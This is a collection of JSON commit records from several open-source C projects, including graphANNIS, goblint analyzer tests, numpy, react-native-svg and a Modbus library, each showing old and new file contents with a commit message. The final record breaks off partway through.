{"commit":"f7ee1dbbeb58a7d59fde269e7f11ffbf2e3e9e4a","old_file":"src\/lib\/annis\/join\/nestedloop.h","new_file":"src\/lib\/annis\/join\/nestedloop.h","old_contents":"#pragma once\n\n#include <annis\/types.h>\n#include <annis\/graphstorage\/graphstorage.h>\n#include <annis\/db.h>\n#include <annis\/iterators.h>\n\nnamespace annis \n{\n  class Operator;\n\n  \/** \n   * A join that checks all combinations of the left and right matches if their are connected. \n   * \n   * @param lhsIdx the column of the LHS tuple to join on\n   * @param rhsIdx the column of the RHS tuple to join on\n   *\/\n  class NestedLoopJoin : public Iterator\n  {\n  public:\n    NestedLoopJoin(std::shared_ptr<Operator> op,\n      std::shared_ptr<Iterator> lhs, std::shared_ptr<Iterator> rhs,\n      size_t lhsIdx, size_t rhsIdx,\n      bool materializeInner=true,\n      bool leftIsOuter=true);\n    virtual ~NestedLoopJoin();\n\n    virtual bool next(std::vector<Match>& tuple) override;\n    virtual void reset() override;\n  private:\n    std::shared_ptr<Operator> op;\n\n    const bool materializeInner;\n    const bool leftIsOuter;\n    bool initialized;\n    \n    std::vector<Match> matchOuter;\n    std::vector<Match> matchInner;\n\n    std::shared_ptr<Iterator> outer;\n    std::shared_ptr<Iterator> inner;\n    \n    const size_t outerIdx;\n    const size_t innerIdx;\n    \n    bool firstOuterFinished;\n    std::list<std::vector<Match>> innerCache;\n    std::list<std::vector<Match>>::const_iterator itInnerCache;\n  private:\n    bool fetchNextInner();\n\n  };\n\n\n} \/\/ end namespace annis\n\n","new_contents":"#pragma once\n\n#include <annis\/types.h>\n#include <annis\/graphstorage\/graphstorage.h>\n#include <annis\/db.h>\n#include <annis\/iterators.h>\n#include <deque>\n\nnamespace annis \n{\n  class Operator;\n\n  \/** \n   * A join that checks all combinations of the left and right matches if their are connected. \n   * \n   * @param lhsIdx the column of the LHS tuple to join on\n   * @param rhsIdx the column of the RHS tuple to join on\n   *\/\n  class NestedLoopJoin : public Iterator\n  {\n  public:\n    NestedLoopJoin(std::shared_ptr<Operator> op,\n      std::shared_ptr<Iterator> lhs, std::shared_ptr<Iterator> rhs,\n      size_t lhsIdx, size_t rhsIdx,\n      bool materializeInner=true,\n      bool leftIsOuter=true);\n    virtual ~NestedLoopJoin();\n\n    virtual bool next(std::vector<Match>& tuple) override;\n    virtual void reset() override;\n  private:\n    std::shared_ptr<Operator> op;\n\n    const bool materializeInner;\n    const bool leftIsOuter;\n    bool initialized;\n    \n    std::vector<Match> matchOuter;\n    std::vector<Match> matchInner;\n\n    std::shared_ptr<Iterator> outer;\n    std::shared_ptr<Iterator> inner;\n    \n    const size_t outerIdx;\n    const size_t innerIdx;\n    \n    bool firstOuterFinished;\n    std::deque<std::vector<Match>> innerCache;\n    std::deque<std::vector<Match>>::const_iterator itInnerCache;\n  private:\n    bool fetchNextInner();\n\n  };\n\n\n} \/\/ end namespace annis\n\n","subject":"Use a deque instead of a list as inner cache in nested loop.","message":"Use a deque instead of a list as inner cache in nested loop.\n","lang":"C","license":"apache-2.0","repos":"thomaskrause\/graphANNIS,thomaskrause\/graphANNIS,thomaskrause\/graphANNIS,thomaskrause\/graphANNIS,thomaskrause\/graphANNIS,thomaskrause\/graphANNIS,thomaskrause\/graphANNIS"}
{"commit":"19697a3e104e0152c5e7a121c8cb1b5031fef145","old_file":"tests\/regression\/01-cpa\/57-def_exc-interval-inconsistent.c","new_file":"tests\/regression\/01-cpa\/57-def_exc-interval-inconsistent.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.def_exc --enable ana.int.interval --enable ana.sv-comp.functions --set sem.int.signed_overflow assume_none --set ana.int.refinement never\n\/\/ used to crash in branch when is_bool returned true, but to_bool returned None on (0,[1,1])\n\/\/ manually minimized from sv-benchmarks\/c\/recursive\/MultCommutative-2.c\nextern int __VERIFIER_nondet_int(void);\n\nvoid f(int m) {\n    if (m < 0) {\n        f(-m);\n    }\n    if (m == 0) {\n        return;\n    }\n    f(m - 1);\n}\n\nint main() {\n    int m = __VERIFIER_nondet_int();\n    if (m < 0 || m > 1) {\n        return 0;\n    }\n    f(m); \/\/ m=[0,1]\n    return 0;\n}\n","subject":"Add test with inconsistent IntDomain crash","message":"Add test with inconsistent IntDomain crash\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"3e6389f02a1cbd5e08f74f4ba362874ecefbe596","old_file":"src\/win32\/timer_win.c","new_file":"src\/win32\/timer_win.c","old_contents":"","new_contents":"\/*\n*The MIT License (MIT)\n*\n* Copyright (c) <2017> <Stephan Gatzka>\n*\n* Permission is hereby granted, free of charge, to any person obtaining\n* a copy of this software and associated documentation files (the\n* \"Software\"), to deal in the Software without restriction, including\n* without limitation the rights to use, copy, modify, merge, publish,\n* distribute, sublicense, and\/or sell copies of the Software, and to\n* permit persons to whom the Software is furnished to do so, subject to\n* the following conditions:\n*\n* The above copyright notice and this permission notice shall be\n* included in all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n* SOFTWARE.\n*\/\n\n#include \"eventloop.h\"\n#include \"timer.h\"\n\nint cjet_timer_init(struct cjet_timer *timer, struct eventloop *loop)\n{\n\treturn 0;\n}\n\nvoid cjet_timer_destroy(struct cjet_timer *timer)\n{\n\n}","subject":"Add stub for windows timer implementation.","message":"Add stub for windows timer implementation.\n","lang":"C","license":"mit","repos":"mloy\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet"}
{"commit":"72ff7ba9c9ed6436625c27b2616d1efb0f782a0a","old_file":"Pathfinder-Core\/include\/pathfinder.h","new_file":"Pathfinder-Core\/include\/pathfinder.h","old_contents":"#ifndef PATHFINDER_H_DEF\n#define PATHFINDER_H_DEF\n\n#include \"pathfinder\/mathutil.h\"\n#include \"pathfinder\/structs.h\"\n\n#include \"pathfinder\/fit.h\"\n#include \"pathfinder\/spline.h\"\n#include \"pathfinder\/trajectory.h\"\n\n#include \"pathfinder\/modifiers\/tank.h\"\n#include \"pathfinder\/modifiers\/swerve.h\"\n\n#include \"pathfinder\/followers\/encoder.h\"\n#include \"pathfinder\/followers\/distance.h\"\n\n#include \"pathfinder\/io.h\"\n\n#endif","new_contents":"#ifndef PATHFINDER_H_DEF\n#define PATHFINDER_H_DEF\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"pathfinder\/mathutil.h\"\n#include \"pathfinder\/structs.h\"\n\n#include \"pathfinder\/fit.h\"\n#include \"pathfinder\/spline.h\"\n#include \"pathfinder\/trajectory.h\"\n\n#include \"pathfinder\/modifiers\/tank.h\"\n#include \"pathfinder\/modifiers\/swerve.h\"\n\n#include \"pathfinder\/followers\/encoder.h\"\n#include \"pathfinder\/followers\/distance.h\"\n\n#include \"pathfinder\/io.h\"\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif","subject":"Use extern C if C++","message":"Use extern C if C++\n","lang":"C","license":"mit","repos":"JacisNonsense\/Pathfinder,JacisNonsense\/Pathfinder,JacisNonsense\/Pathfinder"}
{"commit":"0cc0c5734bad9e48de66f9293ab89f746c150a05","old_file":"tests\/regression\/02-base\/46-spawn-global-funptrs.c","new_file":"tests\/regression\/02-base\/46-spawn-global-funptrs.c","old_contents":"","new_contents":"#include <pthread.h>\n#include <assert.h>\n\nvoid foo() {\n  assert(1);\n}\n\nvoid bar() {\n  assert(1);\n}\n\nvoid (*funs[2])() = {\n  &foo,\n  &bar\n};\n\n\nextern void magic1();\nextern void magic2(void (*funs[])());\n\nvoid *t_fun(void *arg) {\n  \/\/ just for going to multithreaded mode\n  return NULL;\n}\n\nint main() {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL); \/\/ enter multithreaded mode\n\n  magic1(); \/\/ invalidate funs a bit\n  magic2(funs);\n  return 0;\n}\n","subject":"Add regression test where known functions in unknown AD should be spawned","message":"Add regression test where known functions in unknown AD should be spawned\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"091e1dd907d7605ff96b7c0e3974aa1a88c73f07","old_file":"tests\/regression\/02-base\/82-eq-no-overflow.c","new_file":"tests\/regression\/02-base\/82-eq-no-overflow.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.interval\n#include <assert.h>\n\nint main() {\n  unsigned long x;\n  x = 0;\n\n  int b;\n  b = x == 7; \/\/ NOWARN\n\n  if (b)\n    assert(0); \/\/ NOWARN (unreachable)\n  else\n    assert(1); \/\/ reachable\n\n  return 0;\n}","subject":"Add unsigned eq emits spurious underflow warning","message":"Add unsigned eq emits spurious underflow warning\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"d3a3e46ba364af0320037a8be3159eb238683e51","old_file":"linkedLists\/addEndNode.c","new_file":"linkedLists\/addEndNode.c","old_contents":"","new_contents":"#include<stdio.h>\n#include\"listHelper.h\"\n\nvoid makeNode(struct linkList **head, struct linkList **tail, int dat)\n{\n                struct linkList *curr;\n                curr = (struct linkList*)malloc(sizeof(struct linkList));\n                curr->data = dat;\n                curr->next = NULL;\n\n                if(*head == NULL)\n                        *head = *tail = curr;\n                else {\n                        (*tail)->next = curr;\n                        *tail = curr;\n                }\n\n}\n\nvoid\nmain() {\n\n        int dat;\n        struct linkList *head, *tail;\n\n        tail = head = NULL;\n\n        for (dat = 1; dat <= 21; dat++)\n                makeNode(&head, &tail, dat);\n\n        displayList(head);\n        displayList(head);\n        free(head);\n}\n","subject":"Append node to end of the list.","message":"Append node to end of the list.","lang":"C","license":"mit","repos":"vidya-ranganathan\/algorithms"}
{"commit":"014e2375fa4b73feb98cea3a4d69700c4df32514","old_file":"ios\/Utils\/RNSVGVectorEffect.h","new_file":"ios\/Utils\/RNSVGVectorEffect.h","old_contents":"","new_contents":"\/**\n * Copyright (c) 2015-present, react-native-community.\n * All rights reserved.\n *\n * This source code is licensed under the MIT-style license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\ntypedef CF_ENUM(int32_t, RNSVGVectorEffect) {\n    kRNSVGVectorEffectDefault,\n    kRNSVGVectorEffectNonScalingStroke,\n    kRNSVGVectorEffectInherit,\n    kRNSVGVectorEffectUri\n};\n","subject":"Implement vectorEffect nonScalingStroke \/ non-scaling-stroke","message":"[ios] Implement vectorEffect nonScalingStroke \/ non-scaling-stroke\n\nAdd missing header file\n","lang":"C","license":"mit","repos":"msand\/react-native-svg,react-native-community\/react-native-svg,magicismight\/react-native-art-svg,magicismight\/react-native-svg,magicismight\/react-native-svg,msand\/react-native-svg,magicismight\/react-native-svg,magicismight\/react-native-art-svg,magicismight\/react-native-svg,msand\/react-native-svg,msand\/react-native-svg,react-native-community\/react-native-svg,magicismight\/react-native-svg,react-native-community\/react-native-svg,react-native-community\/react-native-svg,react-native-community\/react-native-svg"}
{"commit":"c5bac4e6a4c55baedd93abb0b9e0ad0dcc93a2f3","old_file":"macos\/compat\/sys\/types.h","new_file":"macos\/compat\/sys\/types.h","old_contents":"#ifndef __SYS_TYPES_H__\r#define __SYS_TYPES_H__ 1\r\r#include <MacTypes.h>\r#include <alloca.h>\r#include <string.h>\r\rtypedef short                int16_t;\rtypedef long                int32_t;\rtypedef long long        int64_t;\r\r#define vorbis_size32_t long\r\r\r#if defined(__cplusplus)\rextern \"C\" {\r#endif\r\r#pragma options align=power\r\rchar *strdup(const char *inStr);\r\r#pragma options align=reset\r\r#if defined(__cplusplus)\r}\r#endif\r\r#endif \/* __SYS_TYPES_H__ *\/\r","new_contents":"#ifndef __SYS_TYPES_H__\r#define __SYS_TYPES_H__ 1\r\r#include <MacTypes.h>\r#include <alloca.h>\r#include <string.h>\r\rtypedef short                int16_t;\r\/\/ typedef long                int32_t;\rtypedef long long        int64_t;\r\r#define vorbis_size32_t long\r\r\r#if defined(__cplusplus)\rextern \"C\" {\r#endif\r\r#pragma options align=power\r\rchar *strdup(const char *inStr);\r\r#pragma options align=reset\r\r#if defined(__cplusplus)\r}\r#endif\r\r#endif \/* __SYS_TYPES_H__ *\/\r","subject":"Fix osx build (this is going to be removed soon anyways)","message":"Fix osx build (this is going to be removed soon anyways)\n","lang":"C","license":"bsd-3-clause","repos":"jhotovy\/libvorbis,jhotovy\/libvorbis,jhotovy\/libvorbis,jhotovy\/libvorbis,jhotovy\/libvorbis"}
{"commit":"6944671e2648a0bf4b380865227c3486b0c83612","old_file":"pzlib.h","new_file":"pzlib.h","old_contents":"#ifndef PZLIB_H\n#define PZLIB_H\n\ntypedef unsigned int psize_type;\ntypedef int pssize_type;\ntypedef pssize_type writerfunc(void *cookie, const void *buf, psize_type len);\ntypedef void closefunc(void*);\n\nstruct pz {\n    writerfunc *wf;\n    closefunc *cf;\n};\n\ninline pssize_type do_write(void *cookie, const void *buf, psize_type len) {\n    struct pz* p = (struct pz*)cookie;\n    return (p->wf)(cookie, buf, len);\n}\n\ninline void do_close(void *cookie) {\n    struct pz* p = (struct pz*)cookie;\n    (p->cf)(cookie);\n}\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid *make_fd(int fd);\nextern writerfunc write_fd;\nextern closefunc free_fd;\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"#ifndef PZLIB_H\n#define PZLIB_H\n\ntypedef unsigned int psize_type;\ntypedef int pssize_type;\ntypedef pssize_type writerfunc(void *cookie, const void *buf, psize_type len);\ntypedef void closefunc(void*);\n\nstruct pz {\n    writerfunc *wf;\n    closefunc *cf;\n};\n\nstatic inline pssize_type do_write(void *cookie, const void *buf, psize_type len) {\n    struct pz* p = (struct pz*)cookie;\n    return (p->wf)(cookie, buf, len);\n}\n\nstatic inline void do_close(void *cookie) {\n    struct pz* p = (struct pz*)cookie;\n    (p->cf)(cookie);\n}\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid *make_fd(int fd);\nextern writerfunc write_fd;\nextern closefunc free_fd;\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Replace inline with static inline to enable DEBUG build (linking actually)","message":"Replace inline with static inline to enable DEBUG build (linking actually)\n\nIt's all about bloody C89 vs C99 semantic...\n","lang":"C","license":"mit","repos":"yandex\/sdch_module,yandex\/sdch_module,yandex\/sdch_module,yandex\/sdch_module"}
{"commit":"65fe3d63f25760fa643c39d665bad6ead63a3e08","old_file":"queue.c","new_file":"queue.c","old_contents":"#include \"queue.h\"\n\nstruct Queue\n{\n\tsize_t head;\n\tsize_t tail;\n\tsize_t size;\n\tvoid** e;\n};\n\nQueue* Queue_Create(size_t n)\n{\n\tQueue* q = (Queue *)malloc(sizeof(Queue));\n\tq->size = n;\n\tq->head = q->tail = 1;\n\tq->e = (void **)malloc(sizeof(void*) * (n + 1));\n\treturn q;\n}","new_contents":"#include \"queue.h\"\n\nstruct Queue\n{\n\tsize_t head;\n\tsize_t tail;\n\tsize_t size;\n\tvoid** e;\n};\n\nQueue* Queue_Create(size_t n)\n{\n\tQueue* q = (Queue *)malloc(sizeof(Queue));\n\tq->size = n;\n\tq->head = q->tail = 1;\n\tq->e = (void **)malloc(sizeof(void*) * (n + 1));\n\treturn q;\n}\n\nint Queue_Empty(Queue* q)\n{\n\treturn (q->head == q->tail);\n}","subject":"Add helper function Queue empty implementation","message":"Add helper function Queue empty implementation\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"ddd0a6ac92572a6e6016f5fbc9fda7eaedc7b114","old_file":"numpy\/core\/src\/multiarray\/buffer.h","new_file":"numpy\/core\/src\/multiarray\/buffer.h","old_contents":"#ifndef _NPY_PRIVATE_BUFFER_H_\n#define _NPY_PRIVATE_BUFFER_H_\n\n#ifdef NPY_ENABLE_MULTIPLE_COMPILATION\nextern NPY_NO_EXPORT PyBufferProcs array_as_buffer;\n#else\nNPY_NO_EXPORT PyBufferProcs array_as_buffer;\n#endif\n\n#endif\n","new_contents":"#ifndef _NPY_PRIVATE_BUFFER_H_\n#define _NPY_PRIVATE_BUFFER_H_\n\n#ifdef NPY_ENABLE_SEPARATE_COMPILATION\nextern NPY_NO_EXPORT PyBufferProcs array_as_buffer;\n#else\nNPY_NO_EXPORT PyBufferProcs array_as_buffer;\n#endif\n\n#endif\n","subject":"Fix mispelled separate compilation macro.","message":"Fix mispelled separate compilation macro.\n","lang":"C","license":"bsd-3-clause","repos":"numpy\/numpy-refactor,ESSS\/numpy,mhvk\/numpy,ddasilva\/numpy,gmcastil\/numpy,sonnyhu\/numpy,dwf\/numpy,Srisai85\/numpy,cjermain\/numpy,mindw\/numpy,GrimDerp\/numpy,matthew-brett\/numpy,anntzer\/numpy,jorisvandenbossche\/numpy,felipebetancur\/numpy,mingwpy\/numpy,SiccarPoint\/numpy,rherault-insa\/numpy,pbrod\/numpy,pelson\/numpy,has2k1\/numpy,solarjoe\/numpy,CMartelLML\/numpy,drasmuss\/numpy,pelson\/numpy,utke1\/numpy,MaPePeR\/numpy,rgommers\/numpy,ChristopherHogan\/numpy,anntzer\/numpy,behzadnouri\/numpy,pdebuyl\/numpy,dch312\/numpy,rgommers\/numpy,Srisai85\/numpy,abalkin\/numpy,ChanderG\/numpy,rmcgibbo\/numpy,skwbc\/numpy,jankoslavic\/numpy,GaZ3ll3\/numpy,WarrenWeckesser\/numpy,Linkid\/numpy,cowlicks\/numpy,sinhrks\/numpy,mattip\/numpy,Yusa95\/numpy,mattip\/numpy,sonnyhu\/numpy,rherault-insa\/numpy,solarjoe\/numpy,rhythmsosad\/numpy,sigma-random\/numpy,cowlicks\/numpy,njase\/numpy,ahaldane\/numpy,cjermain\/numpy,andsor\/numpy,hainm\/numpy,charris\/numpy,Srisai85\/numpy,ssanderson\/numpy,stefanv\/numpy,rajathkumarmp\/numpy,ajdawson\/numpy,nguyentu1602\/numpy,mwiebe\/numpy,charris\/numpy,tynn\/numpy,BabeNovelty\/numpy,trankmichael\/numpy,yiakwy\/numpy,dch312\/numpy,dwillmer\/numpy,mattip\/numpy,jakirkham\/numpy,pizzathief\/numpy,seberg\/numpy,rajathkumarmp\/numpy,MSeifert04\/numpy,Anwesh43\/numpy,bmorris3\/numpy,BabeNovelty\/numpy,kiwifb\/numpy,rmcgibbo\/numpy,githubmlai\/numpy,seberg\/numpy,seberg\/numpy,brandon-rhodes\/numpy,KaelChen\/numpy,mathdd\/numpy,argriffing\/numpy,immerrr\/numpy,njase\/numpy,andsor\/numpy,simongibbons\/numpy,jorisvandenbossche\/numpy,Anwesh43\/numpy,WillieMaddox\/numpy,endolith\/numpy,naritta\/numpy,ewmoore\/numpy,trankmichael\/numpy,bertrand-l\/numpy,ddasilva\/numpy,dato-code\/numpy,MichaelAquilina\/numpy,NextThought\/pypy-numpy,mathdd\/numpy,grlee77\/numpy,MSeifert04\/numpy,pyparallel\/numpy,ogrisel\/numpy,brandon-rhodes\/numpy,nbeaver\/numpy,musically-ut\/numpy,astrofrog\/numpy,skymanaditya1\/numpy,SiccarPoint\/numpy,numpy\/numpy,bertrand-l\/numpy,jorisvandenbossche\/numpy,numpy\/numpy-refactor,simongibbons\/numpy,ChristopherHogan\/numpy,skwbc\/numpy,felipebetancur\/numpy,jakirkham\/numpy,ContinuumIO\/numpy,charris\/numpy,leifdenby\/numpy,njase\/numpy,stuarteberg\/numpy,drasmuss\/numpy,BMJHayward\/numpy,nguyentu1602\/numpy,rudimeier\/numpy,githubmlai\/numpy,ewmoore\/numpy,ewmoore\/numpy,mhvk\/numpy,embray\/numpy,dimasad\/numpy,simongibbons\/numpy,BabeNovelty\/numpy,stuarteberg\/numpy,Eric89GXL\/numpy,pizzathief\/numpy,rmcgibbo\/numpy,musically-ut\/numpy,jakirkham\/numpy,jonathanunderwood\/numpy,utke1\/numpy,bertrand-l\/numpy,sigma-random\/numpy,cowlicks\/numpy,abalkin\/numpy,rgommers\/numpy,Yusa95\/numpy,Eric89GXL\/numpy,stefanv\/numpy,nbeaver\/numpy,ajdawson\/numpy,brandon-rhodes\/numpy,KaelChen\/numpy,groutr\/numpy,mortada\/numpy,githubmlai\/numpy,tynn\/numpy,yiakwy\/numpy,pizzathief\/numpy,endolith\/numpy,nbeaver\/numpy,Eric89GXL\/numpy,jorisvandenbossche\/numpy,larsmans\/numpy,embray\/numpy,pizzathief\/numpy,GrimDerp\/numpy,anntzer\/numpy,BabeNovelty\/numpy,pbrod\/numpy,SunghanKim\/numpy,tdsmith\/numpy,sigma-random\/numpy,mindw\/numpy,rudimeier\/numpy,larsmans\/numpy,rudimeier\/numpy,sinhrks\/numpy,CMartelLML\/numpy,astrofrog\/numpy,astrofrog\/numpy,pbrod\/numpy,pelson\/numpy,b-carter\/numpy,WarrenWeckesser\/numpy,tacaswell\/numpy,has2k1\/numpy,stefanv\/numpy,ekalosak\/numpy,naritta\/numpy,rherault-insa\/numpy,empeeu\/numpy,stuarteberg\/numpy,chiffa\/numpy,groutr\/numpy,cjermain\/numpy,jakirkham\/numpy,WillieMaddox\/numpy,immerrr\/numpy,tdsmith\/numpy,WarrenWeckesser\/numpy,Dapid\/numpy,mwiebe\/numpy,ChanderG\/numpy,shoyer\/numpy,stefanv\/numpy,WarrenWeckesser\/numpy,numpy\/numpy-refactor,mhvk\/numpy,CMartelLML\/numpy,jankoslavic\/numpy,mindw\/numpy,grlee77\/numpy,skymanaditya1\/numpy,stefanv\/numpy,Srisai85\/numpy,Anwesh43\/numpy,MaPePeR\/numpy,sinhrks\/numpy,mwiebe\/numpy,ewmoore\/numpy,MaPePeR\/numpy,skymanaditya1\/numpy,gfyoung\/numpy,empeeu\/numpy,KaelChen\/numpy,grlee77\/numpy,trankmichael\/numpy,musically-ut\/numpy,tynn\/numpy,jonathanunderwood\/numpy,BMJHayward\/numpy,mortada\/numpy,shoyer\/numpy,Linkid\/numpy,ssanderson\/numpy,Eric89GXL\/numpy,has2k1\/numpy,charris\/numpy,numpy\/numpy-refactor,Anwesh43\/numpy,naritta\/numpy,joferkington\/numpy,githubmlai\/numpy,ajdawson\/numpy,pdebuyl\/numpy,dimasad\/numpy,SunghanKim\/numpy,matthew-brett\/numpy,AustereCuriosity\/numpy,dimasad\/numpy,cowlicks\/numpy,ajdawson\/numpy,bringingheavendown\/numpy,ssanderson\/numpy,empeeu\/numpy,mathdd\/numpy,ddasilva\/numpy,madphysicist\/numpy,hainm\/numpy,brandon-rhodes\/numpy,madphysicist\/numpy,sonnyhu\/numpy,astrofrog\/numpy,mhvk\/numpy,WillieMaddox\/numpy,dwf\/numpy,MichaelAquilina\/numpy,ViralLeadership\/numpy,rudimeier\/numpy,rajathkumarmp\/numpy,grlee77\/numpy,shoyer\/numpy,gmcastil\/numpy,maniteja123\/numpy,SiccarPoint\/numpy,rmcgibbo\/numpy,hainm\/numpy,seberg\/numpy,b-carter\/numpy,Linkid\/numpy,larsmans\/numpy,ahaldane\/numpy,rhythmsosad\/numpy,dwillmer\/numpy,AustereCuriosity\/numpy,pelson\/numpy,numpy\/numpy,madphysicist\/numpy,ekalosak\/numpy,CMartelLML\/numpy,argriffing\/numpy,ChanderG\/numpy,ahaldane\/numpy,chiffa\/numpy,rhythmsosad\/numpy,musically-ut\/numpy,rajathkumarmp\/numpy,moreati\/numpy,empeeu\/numpy,jschueller\/numpy,BMJHayward\/numpy,GaZ3ll3\/numpy,chatcannon\/numpy,tacaswell\/numpy,mattip\/numpy,anntzer\/numpy,kirillzhuravlev\/numpy,ChanderG\/numpy,ogrisel\/numpy,ChristopherHogan\/numpy,Dapid\/numpy,GaZ3ll3\/numpy,hainm\/numpy,endolith\/numpy,mindw\/numpy,felipebetancur\/numpy,nguyentu1602\/numpy,MichaelAquilina\/numpy,jschueller\/numpy,Dapid\/numpy,ogrisel\/numpy,SiccarPoint\/numpy,Linkid\/numpy,dch312\/numpy,madphysicist\/numpy,madphysicist\/numpy,mortada\/numpy,ogrisel\/numpy,WarrenWeckesser\/numpy,kirillzhuravlev\/numpy,ogrisel\/numpy,chiffa\/numpy,matthew-brett\/numpy,MichaelAquilina\/numpy,groutr\/numpy,sonnyhu\/numpy,mhvk\/numpy,numpy\/numpy,chatcannon\/numpy,ekalosak\/numpy,MaPePeR\/numpy,ahaldane\/numpy,naritta\/numpy,andsor\/numpy,skymanaditya1\/numpy,drasmuss\/numpy,mathdd\/numpy,dwillmer\/numpy,dato-code\/numpy,bringingheavendown\/numpy,felipebetancur\/numpy,yiakwy\/numpy,joferkington\/numpy,dimasad\/numpy,abalkin\/numpy,KaelChen\/numpy,jonathanunderwood\/numpy,numpy\/numpy,pyparallel\/numpy,numpy\/numpy-refactor,ContinuumIO\/numpy,pbrod\/numpy,ahaldane\/numpy,rgommers\/numpy,joferkington\/numpy,joferkington\/numpy,jschueller\/numpy,matthew-brett\/numpy,skwbc\/numpy,Yusa95\/numpy,dwf\/numpy,MSeifert04\/numpy,bmorris3\/numpy,nguyentu1602\/numpy,NextThought\/pypy-numpy,MSeifert04\/numpy,SunghanKim\/numpy,maniteja123\/numpy,simongibbons\/numpy,mingwpy\/numpy,dch312\/numpy,maniteja123\/numpy,leifdenby\/numpy,ChristopherHogan\/numpy,bmorris3\/numpy,tdsmith\/numpy,yiakwy\/numpy,pelson\/numpy,Yusa95\/numpy,ContinuumIO\/numpy,tacaswell\/numpy,argriffing\/numpy,grlee77\/numpy,kiwifb\/numpy,shoyer\/numpy,behzadnouri\/numpy,gfyoung\/numpy,jankoslavic\/numpy,NextThought\/pypy-numpy,ViralLeadership\/numpy,kirillzhuravlev\/numpy,andsor\/numpy,mingwpy\/numpy,jankoslavic\/numpy,mortada\/numpy,BMJHayward\/numpy,jorisvandenbossche\/numpy,embray\/numpy,tdsmith\/numpy,behzadnouri\/numpy,stuarteberg\/numpy,kirillzhuravlev\/numpy,solarjoe\/numpy,embray\/numpy,immerrr\/numpy,GrimDerp\/numpy,dwillmer\/numpy,ESSS\/numpy,larsmans\/numpy,dato-code\/numpy,leifdenby\/numpy,simongibbons\/numpy,ViralLeadership\/numpy,SunghanKim\/numpy,GrimDerp\/numpy,moreati\/numpy,bmorris3\/numpy,NextThought\/pypy-numpy,mingwpy\/numpy,cjermain\/numpy,jakirkham\/numpy,sigma-random\/numpy,ESSS\/numpy,utke1\/numpy,bringingheavendown\/numpy,dwf\/numpy,embray\/numpy,GaZ3ll3\/numpy,dwf\/numpy,gfyoung\/numpy,dato-code\/numpy,pizzathief\/numpy,ekalosak\/numpy,jschueller\/numpy,shoyer\/numpy,pbrod\/numpy,pyparallel\/numpy,sinhrks\/numpy,MSeifert04\/numpy,rhythmsosad\/numpy,pdebuyl\/numpy,AustereCuriosity\/numpy,kiwifb\/numpy,endolith\/numpy,astrofrog\/numpy,moreati\/numpy,pdebuyl\/numpy,b-carter\/numpy,matthew-brett\/numpy,chatcannon\/numpy,trankmichael\/numpy,gmcastil\/numpy,has2k1\/numpy,immerrr\/numpy,ewmoore\/numpy"}
{"commit":"7a332a1a17f9026e27b7df22bb44d6532f4232b6","old_file":"modlib.c","new_file":"modlib.c","old_contents":"#include \"modlib.h\"\n\nuint16_t MODBUSSwapEndian( uint16_t Data )\n{\n    \/\/Change big-endian to little-endian and vice versa\n\n    uint8_t Swap;\n\n\t\/\/Create 2 bytes long union\n    union Conversion\n    {\n        uint16_t Data;\n        uint8_t Bytes[2];\n    } Conversion;\n\n\t\/\/Swap bytes\n    Conversion.Data = Data;\n    Swap = Conversion.Bytes[0];\n    Conversion.Bytes[0] = Conversion.Bytes[1];\n    Conversion.Bytes[1] = Swap;\n\n    return Conversion.Data;\n}\n\nuint16_t MODBUSCRC16( uint8_t *Data, uint16_t Length )\n{\n\t\/\/Calculate CRC16 checksum using given data and length\n\n\tuint16_t CRC = 0xFFFF;\n\tuint16_t i;\n\tuint8_t j;\n\n\tfor ( i = 0; i < Length; i++ )\n\t{\n\t\tCRC ^= Data[i]; \/\/XOR current data byte with CRC value\n\n\t\tfor ( j = 8; j != 0; j-- )\n\t\t{\n\t\t\t\/\/For each bit\n\t\t\t\/\/Is least-significant-bit is set?\n    \t\tif ( ( CRC & 0x0001 ) != 0 )\n\t\t\t{\n    \t\t\tCRC >>= 1; \/\/Shift to right and xor\n    \t\t\tCRC ^= 0xA001;\n    \t\t}\n    \t\telse\n    \t\t\tCRC >>= 1;\n\t\t}\n\t}\n\treturn CRC;\n}\n","new_contents":"#include \"modlib.h\"\n\nuint16_t MODBUSSwapEndian( uint16_t Data )\n{\n    \/\/Change big-endian to little-endian and vice versa\n\n    uint8_t Swap;\n\n\t\/\/Create 2 bytes long union\n    union Conversion\n    {\n        uint16_t Data;\n        uint8_t Bytes[2];\n    } Conversion;\n\n\t\/\/Swap bytes\n    Conversion.Data = Data;\n    Swap = Conversion.Bytes[0];\n    Conversion.Bytes[0] = Conversion.Bytes[1];\n    Conversion.Bytes[1] = Swap;\n\n    return Conversion.Data;\n}\n\nuint16_t MODBUSCRC16( uint8_t *Data, uint16_t Length 